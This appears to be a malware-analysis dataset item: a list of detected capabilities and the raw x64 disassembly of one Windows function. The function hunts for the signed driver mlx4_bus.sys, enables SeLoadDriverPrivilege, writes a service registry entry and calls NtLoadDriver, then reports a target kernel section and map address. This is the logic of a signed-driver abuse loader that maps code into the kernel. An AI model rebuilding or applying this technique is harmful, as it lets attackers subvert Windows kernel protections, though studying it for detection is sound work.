Function at 0x140061120
Capabilities:
Enumerate pe sections
Execute command
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Parse pe header
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x310]
sub rsp, 0x410
mov rax, qword [0x1400ff100]
xor rax, rsp
mov qword [rbp + 0x300], rax
xor edi, edi
mov dword [rbp + 0x28], edi
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rbp + 0x1e0], rax
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
mov rcx, qword [0x1400ff778]
call fcn.1400686b0
mov r15, rax
mov qword [rsp + 0x40], rax
mov ebx, edi
mov dword [rbp + 0x20], edi
lea r9, [rbp + 0x20]
xor r8d, r8d
xor edx, edx
mov ecx, 0xb
call sub.ntdll.dll_NtQuerySystemInformation
mov r13d, 4
cmp eax, 0xc0000004
jne 0x1400611f6
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x20]
mov r9d, r13d
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x20]
mov r8d, dword [rbp + 0x20]
mov rdx, rax
mov ecx, 0xb
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
je 0x1400611b2
test eax, eax
js 0x1400612dc
mov esi, edi
cmp dword [rbx], edi
jbe 0x1400612dc
nop dword [rax + rax]
mov eax, esi
imul rcx, rax, 0x128
lea r14, [rcx + rbx]
movzx edx, word [r14 + 0x2e]
add rdx, 0x30
add rdx, rcx
add rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
mov qword [rbp + 0xd8], rdi
mov qword [rbp + 0xe0], rdi
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], dil
jne 0x140061250
lea rcx, [rbp + 0xc8]
call fcn.1400173f0
lea rcx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova rcx, qword [rbp + 0xc8]
lea rdx, str.mlx4_bus.sys
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140061322
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x1400612d2
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400612cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006136f
call fcn.14006c84c
inc esi
cmp esi, dword [rbx]
jb 0x140061210
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [r15], 0x4550
je 0x1400614ec
lea rdx, str.invalid_NT_signature_in_target_driver
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051200
lea rdx, [0x140052f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140063213
mov rsi, qword [r14 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x14006137b
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061376
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140061376
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006c84c
test rsi, rsi
je 0x1400612ed
lea rcx, [0x140077438]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, 7
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, bx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x14007743c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051200
mov ebx, 1
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, bx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140077410]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051200
lea rdx, [0x140051460]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r13w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
mov r8d, 0xf
lea rdx, str.Driver_Found___
lea rcx, [rbp - 0x60]
call fcn.1400173f0
nop
lea rbx, [rbp - 0x60]
mov rdi, qword [rbp - 0x60]
mov r14, qword [rbp - 0x48]
cmp r14, 0xf
cmova rbx, rdi
lea rcx, [rbp - 0x60]
cmova rcx, rdi
mov rsi, qword [rbp - 0x50]
add rsi, rcx
cmp rbx, rsi
je 0x1400614a2
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140050fc0
lea rdx, [0x140051460]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rsi
jne 0x140061470
cmp r14, 0xf
jbe 0x1400614dc
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400614d4
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400614d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14006c84c
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140063213
mov ebx, dword [r15 + 0x50]
mov dword [rsp + 0x68], ebx
mov eax, dword [0x1400b79e0]
mov dword [rbp + 0x20], eax
movzx eax, word [0x1400b79e4]
mov word [rbp + 0x24], ax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rdi
mov r8d, 0xc
lea rdx, str.mlx4_bus.sys
lea rcx, [rbp - 0x40]
call fcn.1400173f0
mov r9d, ebx
lea r8, [rbp + 0x20]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x30]
call fcn.14005ea70
nop
cmp dword [rbp + 0x78], 0
jne 0x140061554
lea rdx, str.failed_to_get_info_for_potential_signed_driver.
jmp 0x1400631ed
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
mov r8d, 0x15
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x120]
call fcn.140051bb0
mov qword [rbp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x20]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, 1
test eax, eax
jne 0x1400615b0
movzx ebx, sil
jmp 0x14006163e
mov qword [rbp + 0xb0], rdi
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 7
cmova rdx, qword [rbp + 0x120]
lea r8, [rbp + 0xb0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x1400615e7
movzx ebx, sil
jmp 0x14006163e
mov dword [rbp + 0x90], esi
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x94], rax
mov dword [rbp + 0x9c], 2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov r9d, 0x10
lea r8, [rbp + 0x90]
xor edx, edx
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140061632
movzx ebx, sil
jmp 0x14006163e
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp + 0x138]
cmp rdx, 7
jbe 0x140061687
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061682
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140061682
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006c84c
test bl, bl
je 0x140061693
mov r12d, edi
jmp 0x140061d6f
xor r8d, r8d
lea rdx, [rbp + 0x30]
lea rcx, [rbp]
call fcn.140051980
mov rbx, rax
mov qword [rbp + 0x90], rdi
lea rax, str.po_v_
mov qword [rbp + 0x98], rax
lea r8, [rbp + 0x90]
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.14005b570
mov dword [rbp + 0x28], esi
cmp dword [rbp + 0x90], 0
jne 0x14006325a
lea r12, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova r12, qword [rbp - 0x80]
mov r15, qword [rbp - 0x70]
call fcn.14006d9b8
mov r13d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov r8, rdi
mov qword [rsp + 0x58], rdi
mov ecx, 0xf
mov qword [rsp + 0x60], rcx
mov byte [rsp + 0x48], r8b
mov dword [rbp + 0x28], 0x11
test r15, r15
je 0x14006181a
cmp r15, 0x7fffffff
ja 0x140063271
mov dword [rsp + 0x20], edi
xor r9d, r9d
mov r8d, r15d
mov rdx, r12
mov ecx, eax
call fcn.14006da28
mov rsi, rax
shr rax, 0x20
test eax, eax
jne 0x14006327c
movsxd rcx, esi
mov rdx, qword [rsp + 0x58]
cmp rcx, rdx
ja 0x140061780
mov qword [rsp + 0x58], rcx
lea rax, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rax, qword [rsp + 0x48]
mov byte [rax + rcx], 0
jmp 0x1400617de
mov r14, rcx
sub r14, rdx
mov r8, qword [rsp + 0x60]
mov rax, r8
sub rax, rdx
cmp r14, rax
ja 0x1400617c1
mov qword [rsp + 0x58], rcx
lea rbx, [rsp + 0x48]
cmp r8, 0xf
cmova rbx, qword [rsp + 0x48]
add rbx, rdx
mov r8, r14
xor edx, edx
mov rcx, rbx
call fcn.14006e2ea
mov byte [r14 + rbx], 0
jmp 0x1400617de
mov byte [rsp + 0x20], 0
mov r9, r14
movzx r8d, byte [rbp + 0x80]
mov rdx, r14
lea rcx, [rsp + 0x48]
call fcn.140052430
lea r9, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova r9, qword [rsp + 0x48]
mov dword [rsp + 0x20], esi
mov r8d, r15d
mov rdx, r12
mov ecx, r13d
call fcn.14006da28
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x140063288
mov rcx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x58]
mov r14d, 0xf
mov dword [rbp + 0x28], r14d
mov rax, rcx
sub rax, r8
cmp rax, 4
jb 0x1400618c2
lea rax, [r8 + 4]
mov qword [rsp + 0x58], rax
lea rbx, [rsp + 0x48]
cmp rcx, r14
cmova rbx, qword [rsp + 0x48]
lea rax, [0x1400b78e0]
lea r15, [0x1400b78dc]
cmp rax, rbx
jbe 0x14006187f
lea rax, [rbx + r8]
cmp r15, rax
ja 0x14006187f
mov r13d, 4
cmp rbx, r15
ja 0x140061877
mov rsi, rdi
jmp 0x140061888
mov rsi, rbx
sub rsi, r15
jmp 0x140061888
mov r13d, 4
mov esi, r13d
inc r8
lea rcx, [rbx + 4]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8, r13
sub r8, rsi
lea rdx, [r15 + 4]
add rdx, rsi
lea rcx, [rbx + rsi]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x48]
jmp 0x1400618f1
mov r13d, 4
mov qword [rsp + 0x28], r13
lea rax, [0x1400b78dc]
mov qword [rsp + 0x20], rax
xor r9d, r9d
movzx r8d, byte [rbp + 0x80]
mov edx, r13d
lea rcx, [rsp + 0x48]
call fcn.1400174f0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd8], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or r14d, 0x20
mov dword [rbp + 0x28], r14d
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa8], rdi
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0x90]
call fcn.1400173f0
nop
mov rsi, qword [rbp + 0x60]
lea r9, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova r9, qword [rbp + 0x50]
mov r14, qword [rbp + 0xa0]
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
sub rax, r14
cmp rsi, rax
ja 0x1400619c7
lea rax, [rsi + r14]
mov qword [rbp + 0xa0], rax
lea rbx, [rbp + 0x90]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x90]
lea rcx, [rbx + r14]
mov r8, rsi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + rbx]
mov byte [rax + r14], 0
jmp 0x1400619e3
mov qword [rsp + 0x20], rsi
movzx r8d, byte [rbp + 0x80]
mov rdx, rsi
lea rcx, [rbp + 0x90]
call fcn.1400522a0
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rdx, qword [rbp + 0x90]
lea r8, [rbp + 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x140061a57
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140061a50
inc rdx
mov rcx, qword [rbp + 0x90]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140061a4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140061b84
call fcn.14006c84c
mov bl, 1
jmp 0x140061b95
mov byte [rbp + 0x82], 1
mov dword [rsp + 0x28], r13d
lea rax, [rbp + 0x82]
mov qword [rsp + 0x20], rax
mov r9d, r13d
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140061a0f
mov byte [rbp + 0x83], 3
mov dword [rsp + 0x28], r13d
lea rax, [rbp + 0x83]
mov qword [rsp + 0x20], rax
mov r9d, r13d
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140061a0f
mov byte [rbp + 0x80], 3
mov dword [rsp + 0x28], r13d
lea rax, [rbp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, r13d
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140061a0f
lea rcx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova rcx, qword [rbp + 0xc8]
mov eax, dword [rbp + 0xd8]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140061a0f
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140061b90
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061b8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140061b8b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006c84c
test ebx, ebx
setne bl
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x140061bd9
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061bd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140061bd4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006c84c
movdqa xmm0, xmmword [0x140073150]
movdqu xmmword [rbp + 0xd8], xmm0
mov byte [rbp + 0xc8], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140061c30
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061c2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140061c2b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006c84c
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
lea rcx, [rbp - 0x80]
call fcn.14005b400
nop
lea rcx, [rbp]
call fcn.14005b400
test bl, bl
je 0x140061c62
mov r12d, edi
jmp 0x140061d6f
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], rdi
mov qword [rbp + 0x100], rdi
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0xe8]
call fcn.1400173f0
nop
mov rsi, qword [rbp + 0x60]
lea r9, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova r9, qword [rbp + 0x50]
mov r14, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x100]
mov rax, rcx
sub rax, r14
cmp rsi, rax
ja 0x140061cf7
lea rax, [rsi + r14]
mov qword [rbp + 0xf8], rax
lea rbx, [rbp + 0xe8]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0xe8]
lea rcx, [rbx + r14]
mov r8, rsi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + rbx]
mov byte [rax + r14], 0
jmp 0x140061d13
mov qword [rsp + 0x20], rsi
movzx r8d, byte [rbp + 0x80]
mov rdx, rsi
lea rcx, [rbp + 0xe8]
call fcn.1400522a0
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova rdx, qword [rbp + 0xe8]
lea rcx, [rbp + 0x1a8]
call sub.ntdll.dll_RtlInitAnsiString
mov r8b, 1
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0xb8]
call sub.ntdll.dll_RtlAnsiStringToUnicodeString
lea rcx, [rbp + 0xb8]
call sub.ntdll.dll_NtLoadDriver
mov ebx, eax
lea rcx, [rbp + 0xe8]
call fcn.140019050
mov r12d, edi
test ebx, ebx
sete r12b
lea r15, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova r15, qword [rbp + 0x50]
mov rbx, rdi
mov dword [rbp + 0x28], edi
lea r9, [rbp + 0x28]
xor r8d, r8d
xor edx, edx
mov ecx, 0xb
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
jne 0x140061de4
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x28]
mov r9d, r13d
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x28]
mov r8d, dword [rbp + 0x28]
mov rdx, rax
mov ecx, 0xb
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
je 0x140061da0
test eax, eax
js 0x140061ea8
mov esi, edi
cmp dword [rbx], edi
jbe 0x140061ea8
nop word [rax + rax]
mov eax, esi
imul rcx, rax, 0x128
lea r14, [rbx + rcx]
movzx eax, word [r14 + 0x2e]
add rax, rbx
lea rdx, [rcx + 0x30]
add rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], rdi
mov qword [rbp + 0x158], rdi
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140061e40
lea rcx, [rbp + 0x140]
call fcn.1400173f0
lea rcx, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova rcx, qword [rbp + 0x140]
mov rdx, r15
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140062542
mov r8, qword [rbp + 0x158]
cmp r8, 0xf
jbe 0x140061e9e
mov rdx, qword [rbp + 0x140]
lea rcx, [rbp + 0x140]
call fcn.14005ab50
inc esi
cmp esi, dword [rbx]
jb 0x140061e00
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rsi, rdi
cmp r12d, 1
ja 0x1400631e6
test rsi, rsi
je 0x1400631e6
lea rdx, str.loaded_signed_driver
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051200
mov rcx, rax
lea rdx, str.at__0x
call fcn.140051200
lea rdx, [0x140060900]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, str.__with_result__0x
call fcn.140051200
lea rdx, [0x140060900]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, r12d
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400b7a54]
call fcn.140051200
lea rdx, [0x140052f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r14d, dword [rbp + 0x70]
add r14, rsi
mov qword [rsp + 0x78], r14
lea rdx, str.target_section__.data__offset__0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051200
lea rdx, [0x140060900]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
mov rcx, rax
lea rdx, str.__size__0x
call fcn.140051200
lea rdx, [0x140060900]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x74]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
mov rcx, rax
lea rdx, str.__map_start__0x
call fcn.140051200
lea rdx, [0x140060900]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, r14
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x1400b7a54]
call fcn.140051200
lea rdx, [0x140052f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, rdi
mov dword [rbp + 0x20], edi
lea r9, [rbp + 0x20]
xor r8d, r8d
xor edx, edx
mov ecx, 0xb
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
jne 0x140062074
nop word [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x20]
mov r9d, r13d
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x20]
mov r8d, dword [rbp + 0x20]
mov rdx, rax
mov ecx, 0xb
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
je 0x140062030
test eax, eax
js 0x14006213c
mov esi, edi
cmp dword [rbx], edi
jbe 0x14006213c
nop word [rax + rax]
mov eax, esi
imul rcx, rax, 0x128
movzx edx, word [rcx + rbx + 0x2e]
add rdx, 0x30
add rdx, rcx
add rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], rdi
mov qword [rbp + 0x100], rdi
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400620d0
lea rcx, [rbp + 0xe8]
call fcn.1400173f0
lea rcx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova rcx, qword [rbp + 0xe8]
lea rdx, [0x1400b7780]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140062595
mov r8, qword [rbp + 0x100]
cmp r8, 0xf
jbe 0x140062132
mov rdx, qword [rbp + 0xe8]
lea rcx, [rbp + 0xe8]
call fcn.14005ab50
inc esi
cmp esi, dword [rbx]
jb 0x140062090
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call fcn.14005fc00
mov r13, rax
call fcn.14005f7c0
mov r12, rax
test r13, r13
je 0x1400631dd
test rax, rax
je 0x1400631dd
lea rcx, str.user32.dll
